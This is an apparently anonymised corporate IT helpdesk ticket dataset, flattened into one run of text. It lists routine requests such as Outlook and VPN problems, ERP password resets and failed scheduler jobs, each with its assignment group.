, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot start outlook email, Description: \_x000D\_
\_x000D\_
received from: ynsqjehx.kqgrsawl@gmail.com\_x000D\_
\_x000D\_
hi it team,\_x000D\_
\_x000D\_
\_x000D\_
since yesterday my laptop was unable to start outlook mail. i could only use web mail now.\_x000D\_
\_x000D\_
any assistance to resolve this is appreciated.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/09/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/09/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/09/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/09/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/09/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/09/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: laptop cannot connect companysecure wifi network., Description: laptop cannot connect companysecure wifi network., is assigned to Assignment group: GRP\_31.Ticket with Short description: server HostName\_1274 is not reachable, Description: c:\users\virakv>ping HostName\_1274\_x000D\_
\_x000D\_
pinging HostName\_1274.company.company.com [82.02.04.7140] with 32 bytes of data:\_x000D\_
request timed out.\_x000D\_
request timed out.\_x000D\_
request timed out.\_x000D\_
request timed out.\_x000D\_
\_x000D\_
ping statistics for 82.02.04.7140:\_x000D\_
packets: sent = 4, received = 0, lost = 4 (100% loss),\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: please help for vpn connection, try to contacted but can't!, Description: name:wanayht
language:
browser:microsoft internet explorer
email:xztveoqs.zyrnqiav@gmail.com
customer number:
telephone:
summary:please help for vpn connection, try to contacted but can't!, is assigned to Assignment group: GRP\_0.Ticket with Short description: dell:7350: laptop will not stay connected to the internet., Description: name:stgyott gdhdyrham
language:
browser:microsoft internet explorer
email:stgyott.gdhdyrham@company.com
customer number:
telephone:+6sartlgeo lhqksbd
summary:hi i have a dell latitude 7350 which i use from home office & remotely. laptop will not stay connected to the internet. can you assist please?, is assigned to Assignment group: GRP\_0.Ticket with Short description: msd crm--outlook ä¸€ç›´æ˜¾ç¤ºæ­£åœ¨å¯åŠ¨ï¼Œä¸èƒ½è¿›å…¥æ­£å¸¸ç•Œé¢ã€‚, Description: please provide details of the issue.\_x000D\_
outlook ä¸€ç›´æ˜¾ç¤ºæ­£åœ¨å¯åŠ¨ï¼Œä¸èƒ½è¿›å…¥æ­£å¸¸ç•Œé¢ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: erp SID\_34 password , Description: \_x000D\_
\_x000D\_
received from: zuxcfonv.nyhpkrbe@gmail.com\_x000D\_
\_x000D\_
gso ,\_x000D\_
\_x000D\_
please reset password for hanx123 , , is assigned to Assignment group: GRP\_0.Ticket with Short description: hpqc installation, Description: \_x000D\_
\_x000D\_
received from: elixsfvu.pxwbjofl@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i'm trying to install hpqc for travel\_tool uacyltoe hxgayczeing with my windows user name and password but have the following error message.\_x000D\_
\_x000D\_
[cid:image001.png@01d222cf.33a9b3e0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn not working for rjeyfxlg ltfskygw, Description: 219581173[â€Ž10/â€Ž10/â€Ž2016 5:01 am] lzspyjki smdbqnef:
ok
[â€Ž10/â€Ž10/â€Ž2016 5:02 am] lzspyjki smdbqnef:
bring up notepad
her name is oyunatye
[â€Ž10/â€Ž10/â€Ž2016 5:03 am]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1306 failed in job\_scheduler at: 10/09/2016 18:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1306 failed in job\_scheduler at: 10/09/2016 18:11:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_461 failed in job\_scheduler at: 10/09/2016 17:41:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_461 failed in job\_scheduler at: 10/09/2016 17:41:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: node HostName\_1195 located at usa is down since 10/9/2016 10:32 am, Description: node HostName\_1195 located at usa is down since 10/9/2016 10:32 am.\_x000D\_
\_x000D\_
node down due to the power flap.\_x000D\_
check with the site admin during the business hours on monday., is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_1238:application plm - dsc file on node HostName\_1238 is unreachable" , Description: HostName\_1238:application plm - dsc file on node HostName\_1238 is unreachable" , is assigned to Assignment group: GRP\_14.Ticket with Short description: HostName\_521:application plm conversion server on node HostName\_521 is warning" action , Description: HostName\_521:application plm conversion server on node HostName\_521 is warning" action , is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_1393 failed in job\_scheduler at: 10/09/2016 10:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1393 failed in job\_scheduler at: 10/09/2016 10:55:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: resetting of erp password , Description: \_x000D\_
\_x000D\_
received from: ngjztqai.xqjzpvru@gmail.com\_x000D\_
\_x000D\_
hi ,\_x000D\_
\_x000D\_
request you to reset my erp password.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: dpozkmie vjuybcwz 27367 erp account locked, Description: \_x000D\_
\_x000D\_
received from: boithdfa.tojwnydh@gmail.com\_x000D\_
\_x000D\_
please unlock account.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 10/09/2016 09:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 10/09/2016 09:38:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job snp\_heu\_1\_regen failed in job\_scheduler at: 10/09/2016 08:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_1\_regen failed in job\_scheduler at: 10/09/2016 08:51:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: HostName\_977 :application tax\_interface proc counts on node HostName\_977 is critical" , Description: the tax\_interface webpage is reporting a : down status on, HostName\_977. \_x000D\_
application tax\_interface proc counts on node HostName\_977 is critical" \_x000D\_
application tax\_interface prod app server on node HostName\_977 is dow, is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_3051 failed in job\_scheduler at: 10/09/2016 05:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3051 failed in job\_scheduler at: 10/09/2016 05:40:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 10/09/2016 05:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 10/09/2016 05:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to create customers in engineering tool, Description: name : ilhcgoqf xlibynvc
email : ilhcgoqf.xlibynvc@gmail.com
telephone :
summary : hello, i have problems with my engineering\_tools. it is impossible to create a new customer., is assigned to Assignment group: GRP\_25.Ticket with Short description: job Job\_3343 failed in job\_scheduler at: 10/09/2016 04:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3343 failed in job\_scheduler at: 10/09/2016 04:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ç¬”è®°æœ¬é‡æ–°è£…ä¸‹ç³»ç»Ÿ, Description: æŠŠæˆ‘çš„ç¬”è®°æœ¬é‡æ–°è£…ä¸‹ç³»ç»Ÿ, is assigned to Assignment group: GRP\_30.Ticket with Short description: æœ‰ä¸€ä¸ªé“¾æŽ¥æ–‡ä»¶æ‰“ä¸å¼€, Description: æœ‰ä¸€é“¾æŽ¥æ–‡ä»¶æ‰“ä¸å¼€ï¼Œæç¤ºç‰ˆæœ¬ä½Ž, is assigned to Assignment group: GRP\_30.Ticket with Short description: EU\_tool - worklist is not available, confirmation is also not possible., Description: the last worklist was created on friday, october 8th at 3:50 am., is assigned to Assignment group: GRP\_25.Ticket with Short description: job Job\_3343 failed in job\_scheduler at: 10/09/2016 02:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3343 failed in job\_scheduler at: 10/09/2016 02:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3051 failed in job\_scheduler at: 10/09/2016 01:08:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3051 failed in job\_scheduler at: 10/09/2016 01:08:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_netch\_keheu1 failed in job\_scheduler at: 10/09/2016 00:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_keheu1 failed in job\_scheduler at: 10/09/2016 00:37:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 10/09/2016 00:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 10/09/2016 00:35:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 10/09/2016 00:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 10/09/2016 00:20:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/09/2016 00:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/09/2016 00:16:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 10/09/2016 00:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 10/09/2016 00:03:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_452 failed in job\_scheduler at: 10/08/2016 21:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
10/8/2016 9:38:53 pm :: unable to allocate processing resources. error: all backup proxies are offline or outdated \_x000D\_
\_x000D\_
\_x000D\_
job Job\_452 failed in job\_scheduler at: 10/08/2016 21:39:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: customer accounts contact list are not populating in crm dynamics, Description: hello,
the issue: contacts that have been designated to track in crm are not showing up in crm and i'm not sure why. see the screen shots below
biyhll kthyarg
sales engineer - wc1 team
smhepfdn.aypgzieh@gmail.com
, is assigned to Assignment group: GRP\_40.Ticket with Short description: password resset request, Description: from: rakthyesh ramdntythanjesh
sent: sunday, october 09, 2016 4:41 am
to: kzishqfu bmdawzoi
cc: tiyhum kuyiomar
subject: re: request to reset microsoft online services password for hgudmrta.vidzoqfl@gmail.com
dear dene,
â€¢ accounts status is unlocked for user hgudmrta.vidzoqfl@gmail.com
please note the following url using which you can unlock all accounts and setup one single password for access across all systems from any other pc connected to the company network.
for a step by step guide on how to use this site, click on the following link
let me know if you need more information or assistance on this matheywter.
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request, Description: password reset request, is assigned to Assignment group: GRP\_0.Ticket with Short description: distributor\_tool npr error code, Description: email screen shot of error. duane said "remember seeing a similar error during uacyltoe hxgayczeing that we resolved which had to do with the customer master. i think it had to do with a uacyltoe hxgaycze request and using the actual customer rather than the requester as the t&d customer."\_x000D\_
\_x000D\_
this npr is for a quote & not a t&d order.\_x000D\_
, is assigned to Assignment group: GRP\_21.Ticket with Short description: job bkbackup\_tool\_powder\_prod\_full failed in job\_scheduler at: 10/08/2016 18:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_powder\_prod\_full failed in job\_scheduler at: 10/08/2016 18:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp password reset, Description: ic\_x000D\_
welcome, our next available agent will be with you shortly...\_x000D\_
interaction alerting agent.\_x000D\_
website visitor has joined the conversation\_x000D\_
rakthyesh ramdntythanjesh\_x000D\_
hi ramdntythanjesh\_x000D\_
ramdntythanjesh\_x000D\_
hi rakthyesh\_x000D\_
rakthyesh ramdntythanjesh\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1015:volume: c:\ is over 85% space consumed. space available: 4.7 g, Description: HostName\_1015:volume: c:\ is over 85% space consumed. space available: 4.7 g, is assigned to Assignment group: GRP\_12.Ticket with Short description: job Job\_480 failed in job\_scheduler at: 10/08/2016 13:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_480 failed in job\_scheduler at: 10/08/2016 13:38:00, is assigned to Assignment group: GRP\_12.Ticket with Short description: tax rate mismatch , Description: \_x000D\_
\_x000D\_
received from: ikerxqwz.prkyuitl@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
during the ongoing internal audit conducted by e&y , it was observed that in list of inwarehouse\_tools attached , tax rate was different from the one updated in the product hierarchy\_x000D\_
\_x000D\_
request you to look into the reason for few samples and identify reasons why incorrect tax rate was captured in inwarehouse\_tool tax and not as per product hierarchy .\_x000D\_
\_x000D\_
also let us know whether it was system error .\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: job Job\_484 failed in job\_scheduler at: 10/08/2016 12:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_484 failed in job\_scheduler at: 10/08/2016 12:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: mobile device activation, Description: from: ftnijxup sbltduco \_x000D\_
sent: saturday, october 08, 2016 8:29 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: wg: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administrator gewÃ¤hrt wird.\_x000D\_
\_x000D\_
help desk,\_x000D\_
please take my new iphone 6s out of quarantine.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp locked - please reset for nabjwvtd sprhouiv 27388, Description: \_x000D\_
\_x000D\_
received from: boithdfa.tojwnydh@gmail.com\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to see emails which are older than 30 days, Description: unable to see emails which are older than 30 days, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: india, in- orelikon balzers coating india limited site is hard down since 7:42 am at 10/ 8 et , Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_7:42 am at 10/ 8 et \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: blank call // gso // loud noise, Description: blank call // gso // loud noise, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephone repair pu-4 (shop floor 173 connection), Description:
received from: segvwfyn.mogtrevn@gmail.com
dear sir
request you to depute telephone repair person to pu-4 shop floor (173 shop floor connection) as it not workingâ€¦.
segvwfyn mogtrevn
assistant manager- manufacturing
segvwfyn.mogtrevn@gmail.com<mailto:yuxloigj.tzfwjxhe@gmail.com>
[cid:image009.jpg@01SID\_35d8e.07ce5550]
, is assigned to Assignment group: GRP\_19.Ticket with Short description: call came and got disconnected, Description: call came and got disconnected, is assigned to Assignment group: GRP\_0.Ticket with Short description: supply\_chain\_software password reset, Description: from: ftnijxup sbltduco \_x000D\_
sent: saturday, october 08, 2016 2:23 pm\_x000D\_
to: qaohugxw kdeqjncw; nwfodmhc exurcwkm\_x000D\_
subject: re: my access to supply\_chain\_software is blocked \_x000D\_
\_x000D\_
\_x000D\_
help desk,\_x000D\_
please check pathuick's account in supply\_chain\_software. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: supply\_chain\_software password reset, Description: supply\_chain\_software password reset
from: ftnijxup sbltduco
sent: saturday, october 08, 2016 2:21 pm
to: thsyrley shi; nwfodmhc exurcwkm
subject: re: ç­”å¤: finished: start of s&op process
help desk,
please check thsyrley's account in supply\_chain\_software and assist for sign-on.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa plant - company-na-usa-usa-plant-bld1-qa-carb-2960-01-access-sw01 switch is down since 4:53am et on 10/08/16, Description: usa plant - company-na-usa-usa-plant-bld1-qa-carb-2960-01-access-sw01 switch is down since 4:53am et on 10/08/16, is assigned to Assignment group: GRP\_8.Ticket with Short description: reset passwords for jvpkulxw ovuweygj using password\_management\_tool password reset., Description: reset passwords for jvpkulxw ovuweygj using password\_management\_tool password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: account got locked, Description: account got locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: send e-mail from engineering tool doesn't work anymore, Description: since feb / march 2016 it's not possible to send e-mail for the user details dialog anymore (e-mail address). it used to work before.\_x000D\_
that function is very helpful for the end user to contact the designer on issues/question directly from engineering tool without leaving engineering tool.\_x000D\_
see attachments (dialog and error message), is assigned to Assignment group: GRP\_11.Ticket with Short description: ms outlook2013 ä¸€ç›´æ˜¾ç¤ºæ­£åœ¨å¯åŠ¨ï¼Œä¸èƒ½æ˜¾ç¤ºæ­£å¸¸ç•Œé¢, Description: please provide details of the issue.\_x000D\_
ms outlook2013 ä¸€ç›´æ˜¾ç¤ºæ­£åœ¨å¯åŠ¨ï¼Œä¸èƒ½æ˜¾ç¤ºæ­£å¸¸ç•Œé¢, is assigned to Assignment group: GRP\_31.Ticket with Short description: job Job\_2080 failed in job\_scheduler at: 10/08/2016 02:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2080 failed in job\_scheduler at: 10/08/2016 02:24:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_2039 failed in job\_scheduler at: 10/08/2016 02:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2039 failed in job\_scheduler at: 10/08/2016 02:22:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_2074 failed in job\_scheduler at: 10/08/2016 02:07:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2074 failed in job\_scheduler at: 10/08/2016 02:07:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: unable to do kis for dn 8058280136, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
pls help to check dn 9169391247, we unable to do kis for this dn, , is assigned to Assignment group: GRP\_18.Ticket with Short description: job bkbackup\_tool\_reporting\_tool\_prod\_full failed in job\_scheduler at: 10/08/2016 01:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_reporting\_tool\_prod\_full failed in job\_scheduler at: 10/08/2016 01:12:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 account , Description:
received from: zuxcfonv.nyhpkrbe@gmail.com
gso
please unlock and reset password for lij8syte ,also send password to jinxyhdi luji ,, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1329 failed in job\_scheduler at: 10/08/2016 00:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1329 failed in job\_scheduler at: 10/08/2016 00:11:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: power outage: engineering\_toolkuznetsk warehouse - (company) network is down since 10:52pm et on 10/07/2016, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_10:52pm et on 10/07/2016\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_549 failed in job\_scheduler at: 10/07/2016 23:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_549 failed in job\_scheduler at: 10/07/2016 23:05:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_549 failed in job\_scheduler at: 10/07/2016 23:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_549 failed in job\_scheduler at: 10/07/2016 23:05:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: account is expired , Description:
received from: zuxcfonv.nyhpkrbe@gmail.com
gso,
the account vvlixthy is expired , could you extend the account date to oct 8 2018 , jacyhky liuhyt is sponsor is jacyhky liuhyt , , is assigned to Assignment group: GRP\_2.Ticket with Short description: account is locked , Description: account is locked , is assigned to Assignment group: GRP\_31.Ticket with Short description: ç­”å¤: password\_management\_tool , Description:
received from: weqocbnu.eoixcpvy@gmail.com
hi all
please reset my password for SID\_78 for my entering error more than 3 times.
user name : caoryhuq
æ—¥å¸¸ä¸šåŠ¡ï¼Œè¯·å‘é€è‡³south.service@company.com<mailto:è¯·å‘é€è‡³south.service@company.com>å…¬å…±é‚®ç®±
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: ç”µè„‘ç™»å½•å¯†ç å¿˜è®°ï¼Œé‡ç½®å¯†ç ã€‚, Description: ç”µè„‘ç™»å½•å¯†ç å¿˜è®°ï¼Œé‡ç½®å¯†ç ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: password reset using password\_management\_tool, Description: password reset using password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: node usa pbx (10.1.19.200 ) located at usa is down since 7:14 pm et on 10/07., Description: node usa pbx (10.1.19.200 ) located at usa is down since 7:14 pm et on 10/07., is assigned to Assignment group: GRP\_37.Ticket with Short description: unable to save excel document, Description: unable to save excel document, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sync some files in collaboration\_platform, Description: unable to sync some files in collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_867667, Description: ticket update on inplant\_867667, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_867672, Description: ticket update on inplant\_867672, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to engineering tool, Description: unable to log in to engineering tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: blue screen on start up, Description: blue screen on start up, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to sign in to skype meeting, Description: unable to sign in to skype meeting, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not opening up: stuck on loading screen , Description: outlook not opening up: stuck on loading screen , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn issue , Description:
telephone:
summary:i cannot get vpn to connect on my computer., is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool and infopath issue, Description: sqlcuhep railgnfb called in for an issue where he was unable to launch engineering\_tool and unable to fill up a discount form., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to view mails more than 3 days, Description: unable to view mails more than 3 days, is assigned to Assignment group: GRP\_0.Ticket with Short description: jabra headset issue, Description: i needed a hand setting up jabra pro headset for skype calls. i have installed drivers, just not sure what else needs to be done.
contact # : , is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock account email in cell phone the user vhjkdqop tkhafgrc id:sanchrtyn, Description: hello team,
could you please unlock account email in cell phone the user vhjkdqop tkhafgrc id: sanchrtyn ?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: qhjkxoyw lgiovknd called as he wanted to speak to tiyhum kuyiomar, Description: qhjkxoyw lgiovknd called as he wanted to speak to tiyhum kuyiomar, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to supply\_chain\_software, Description: unable to log in to supply\_chain\_software, is assigned to Assignment group: GRP\_0.Ticket with Short description: call from vythytalyst : uploading group of contacts to crm, Description: call from vythytalyst : uploading group of contacts to crm issue
contact # :
while synchronizing contacts from outlook to crm
1> its not synchronizing complete list of contacts.
2>its moving those contacts from outlook and keeping in crm, is assigned to Assignment group: GRP\_40.Ticket with Short description: need this fixed , Description:
received from: oetlgbfw.bsctrnwp@gmail.com
i don't have access to below
prerequisites:
you must have the infopath filler client to complete and submit the lra form. please contact the gsc and open a remedy ticket for the pc support group if you do not have the infopath filler client.
to determine if you have the infopath filler client, click on the start button and choose all programdntys.
click on microsoft office group, you should see the microsoft infopath filler client:
dthyan matheywtyuews
sales manager gl2
oetlgbfw.bsctrnwp@gmail.com<mailto:oetlgbfw.bsctrnwp@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open engineering\_tool application, Description: unable to open engineering\_tool application, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool issue, Description: engineering tool issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client : .net error message , Description: business\_client : .net error message , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to enter mileage details. site not loading., Description: unable to enter mileage details, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticketing\_tool issue - cannot seem to create a new subtask from the ticketing\_tool console. , Description: ticketing\_tool issue - cannot seem to create a new subtask from the ticketing\_tool console. the area to create a new sub-task seems to be missing. we were asked to create separate tasks for server decommissioning and neither me nor ron mcgee can seem to create a sub-task on a ticket any more. , is assigned to Assignment group: GRP\_0.Ticket with Short description: client is having issues with excel crashing, Description: client is having issues with excel crashing, is assigned to Assignment group: GRP\_3.Ticket with Short description: hpqc uacyltoe hxgaycze installation , Description:
